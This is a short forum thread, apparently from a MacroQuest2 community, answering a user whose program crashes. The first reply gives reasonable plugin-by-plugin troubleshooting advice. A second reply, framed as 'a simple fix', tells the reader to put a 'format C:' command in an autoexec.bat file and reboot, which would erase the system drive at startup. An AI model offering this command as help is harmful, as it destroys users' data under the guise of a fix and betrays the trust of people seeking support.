Apart from the fact you want us to resolve a problem using the new MQ2 plugin called MQ2FUCKINGMINDREADING, i would suggest 2 things,
1,Recompile a Fresh program with NO plugins and run it out of the box, keep adding one plugin at a time until it crashes and look at the one that caused it.
2, see 1

if that does not resolve it, start again download the source in a fresh directory and start again, it works for way too many people out of the box for it to be a problem with the source.

Good Luck.

PS, next time you want help, please include a little more info, like version of source, plugins, compiler, O/S, etc.

The plugin mentioned above is only available to limited people.

You're all getting soft and missing the obvious solutions!!

It's a simple fix with an age old DOS command

Create an autoexec.bat file in the root dir of your C: drive.

Code: Select all

C:\windows\format C: 
Reboot.

Start EQ, after that start MQ2.
